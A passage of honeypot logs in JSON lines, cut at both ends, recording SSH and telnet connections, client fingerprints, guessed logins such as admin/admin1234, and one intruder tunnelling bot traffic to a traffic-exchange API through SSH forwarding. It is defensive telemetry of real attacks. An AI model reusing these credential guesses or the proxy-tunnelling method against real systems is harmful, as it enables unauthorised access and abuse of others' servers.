\\n\\x9d7\\xe9\\xd48\\xaf\\x0b\\x12\\xb9\\t\\xcddE[\\x05\\x93A\\xbb\\x89\\xc2\\xf1Q\\xca\\xc6\\x84\\x93ut\\x15H\\x97\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xb0Y\\x03X\\xb3;\\xban8\\x03\\xbc\\x9b\\xd3-\\xeb\\xae/\\'\\xb4g\\x0e\\x86b\\xa9\\xdd\\xd8\\x9c\\x93\\xa5\\x1eO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:19.178590Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":52022,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc7392ee595","protocol":"ssh","message":"New connection: 182.93.50.90:52022 (159.203.135.109:22) [session: ffc7392ee595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:22.738215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:22.743703Z","src_ip":"182.93.50.90","session":"ffc7392ee595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:22.959788Z","src_ip":"182.93.50.90","session":"ffc7392ee595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.2","message":"Connection lost after 25.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:23.634981Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yining","password":"yining","message":"login attempt [yining/yining] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:23.854152Z","src_ip":"182.93.50.90","session":"ffc7392ee595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:25.071247Z","src_ip":"182.93.50.90","session":"ffc7392ee595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58494,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d415048a5a","protocol":"telnet","message":"New connection: 107.6.151.170:58494 (159.203.135.109:23) [session: 58d415048a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:27.180027Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49474,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc8abf7cf96","protocol":"ssh","message":"New connection: 123.27.168.40:49474 (10.17.0.5:22) [session: 3cc8abf7cf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:29.575749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:29.580448Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:29.816196Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:30.912078Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.400694Z","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.602912Z","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.632741Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/13D15 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cE04TGFNXmcmcHtVNGpQfQ%3D%3D4S%2FFt1x%2F1I%2FoYXXClQXxYyYlQ%2B3CYLmOyeG3dhEXAy0kjpZtusZudzeMqLmnmB0rdE2FFBzmUHIw4o83ZoMkcTnq12AsYXbgIAmK8eu%2B2iuKv8M748zw7%2FfatugcEEUC8Z%2B%2FETDrQ3YtT85r37RULGnli005kverznhjq%2BsN7ZGYw8owUSuEvtp8yfaLL9MsjdvGWf0Ysy2PscHcgKUQyclF4qSKOlh5D%2F3p5XUW3YL3u65SswX1Y6ZbYuhW2K%2FMsP%2Bpo3qp3YxayGhV6wcmzW%2FzF6KxrHsesy6v84B6UF%2FydAScm7yS3KmpH8CDe0ytj3JQ2KeA4ZaRnIMZaOsBJKqGWK6vAXHL5M1wrWuw5%2FEnbadvZmzlSv1AmIw%2Fzhwj1ya2ThLZVd6%2BIXQ0%2FRA3qutsUeBBDdj6Q4PrxixYZGt4uzetD3UHvR96HgqcAjRi5VtXy4a5MVfq0rhnZwclD5h%2Bg5ShMvw27A18Vz7SAoIxKPYt4oDA4%2FfTU9chb1uSqiILbHZj7J0TU7UU7X2cCcImFi0y4yxiUgxiHB1vG3DoRbgYwfCAMwRkWKgGoKSBSDI274aqy8o9nznuEAMG4wSN%2Bkm1i24KMf5zmrqHlPtsx1Kj2K%2BZDmjIMtUAuTfp0ZJB0Yl6nl1EnBZgRwXTyNZ8NWKIWmUfH9yRqxIjnYMYk9JRl6HhSm2miYaS8Kh8FoSEIHcUuK9LpnWF8SmIAkeu%2BguQpB7qPZonFNdG4k064GzyKvkhToq2tW0oZqH87qVwryC5IQXV5Zx%2FfY8UXN8lqZ8U4MNgU%2BeUk1oiwuufqQ6ajIaoLGLftkPfIZjSDwtvIM%2Bl1KLgdV0wKRjnfdXg87ILYx6SGfKu8cua0ERVRoeLbUnro8nJjpaF4E3qpJpG%2BDSPozWL1K2kKk%2BbwBX8D7qDKHze69kbShpUjL%2BMoc3qa9Z0dqxkpP08hAoihJhNnv4fj2pSsC0lcG7YcfdNLrSDXhHYYJlTnHXnuf862YBy4Gan2GmdAxq9hB7eYnvUQVKpWr6ET8IQc0TWpzDwhEqSqNv1FZAGscNtixM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/13D15 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cE04TGFNXmcmcHtVNGpQfQ%3D%3D4S%2FFt1x%2F1I%2FoYXXClQXxYyYlQ%2B3CYLmOyeG3dhEXAy0kjpZtusZudzeMqLmnmB0rdE2FFBzmUHIw4o83ZoMkcTnq12AsYXbgIAmK8eu%2B2iuKv8M748zw7%2FfatugcEEUC8Z%2B%2FETDrQ3YtT85r37RULGnli005kverznhjq%2BsN7ZGYw8owUSuEvtp8yfaLL9MsjdvGWf0Ysy2PscHcgKUQyclF4qSKOlh5D%2F3p5XUW3YL3u65SswX1Y6ZbYuhW2K%2FMsP%2Bpo3qp3YxayGhV6wcmzW%2FzF6KxrHsesy6v84B6UF%2FydAScm7yS3KmpH8CDe0ytj3JQ2KeA4ZaRnIMZaOsBJKqGWK6vAXHL5M1wrWuw5%2FEnbadvZmzlSv1AmIw%2Fzhwj1ya2ThLZVd6%2BIXQ0%2FRA3qutsUeBBDdj6Q4PrxixYZGt4uzetD3UHvR96HgqcAjRi5VtXy4a5MVfq0rhnZwclD5h%2Bg5ShMvw27A18Vz7SAoIxKPYt4oDA4%2FfTU9chb1uSqiILbHZj7J0TU7UU7X2cCcImFi0y4yxiUgxiHB1vG3DoRbgYwfCAMwRkWKgGoKSBSDI274aqy8o9nznuEAMG4wSN%2Bkm1i24KMf5zmrqHlPtsx1Kj2K%2BZDmjIMtUAuTfp0ZJB0Yl6nl1EnBZgRwXTyNZ8NWKIWmUfH9yRqxIjnYMYk9JRl6HhSm2miYaS8Kh8FoSEIHcUuK9LpnWF8SmIAkeu%2BguQpB7qPZonFNdG4k064GzyKvkhToq2tW0oZqH87qVwryC5IQXV5Zx%2FfY8UXN8lqZ8U4MNgU%2BeUk1oiwuufqQ6ajIaoLGLftkPfIZjSDwtvIM%2Bl1KLgdV0wKRjnfdXg87ILYx6SGfKu8cua0ERVRoeLbUnro8nJjpaF4E3qpJpG%2BDSPozWL1K2kKk%2BbwBX8D7qDKHze69kbShpUjL%2BMoc3qa9Z0dqxkpP08hAoihJhNnv4fj2pSsC0lcG7YcfdNLrSDXhHYYJlTnHXnuf862YBy4Gan2GmdAxq9hB7eYnvUQVKpWr6ET8IQc0TWpzDwhEqSqNv1FZAGscNtixM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.637177Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.862703Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xf5\\x0e\\x0c\\x90\\x9c/w\\xa2\\xf2\\xafp\\xef\\xa7\"e\\x89Xw\\xca)1\\xdf\\x17\\xe7\\xda\\x07\\xfc\\xd4-0| \\xaf\\x83\\x99\\xab\\x93\\x05\\xff\\xae\\xfa\\xe4\\xc3\\xe4\\r\\x9d0|\\x10(R\\xca\\x1cO\\xb9;t|\\x87\\x86\\xe4\\x08\\x1c\\x16\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xdd\\xc2r-\\xcf\\x18\\x9f\\xb7\\xc7\\xfd]\\x17.\\xfe\\xb3zB\\x8c\\x07\\xb4\\xc0\\xd3C\\'L\\x00\\x7f\\xbe\\x9b\\x87\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xf5\\x0e\\x0c\\x90\\x9c/w\\xa2\\xf2\\xafp\\xef\\xa7\"e\\x89Xw\\xca)1\\xdf\\x17\\xe7\\xda\\x07\\xfc\\xd4-0| \\xaf\\x83\\x99\\xab\\x93\\x05\\xff\\xae\\xfa\\xe4\\xc3\\xe4\\r\\x9d0|\\x10(R\\xca\\x1cO\\xb9;t|\\x87\\x86\\xe4\\x08\\x1c\\x16\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xdd\\xc2r-\\xcf\\x18\\x9f\\xb7\\xc7\\xfd]\\x17.\\xfe\\xb3zB\\x8c\\x07\\xb4\\xc0\\xd3C\\'L\\x00\\x7f\\xbe\\x9b\\x87\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:31.868650Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.006813526153564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:32.169955Z","src_ip":"172.81.62.90","session":"42010b8a2f0b","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:32.319597Z","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:32.551727Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d//hJ\\xab\\x12\\xe8sI\\xc5\\x85\\xec\\x8b\\xd3\\xec\\x9b\\xb9^\\x14\\xad\\xf2\\xca\\xd8\\x8a~\\x12\\x00\\x12\\x04\\x04( \\xad\"\\xc9\\xcbp\\x9f\\xa4g\\xa9\\xc4\\xe1b\\xa5\\xf6:\\xf2\\xaaA\\xd0\\xd1[sF5\\xec\\x06\\xe0\\x8dd\\xbe\\x95s\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 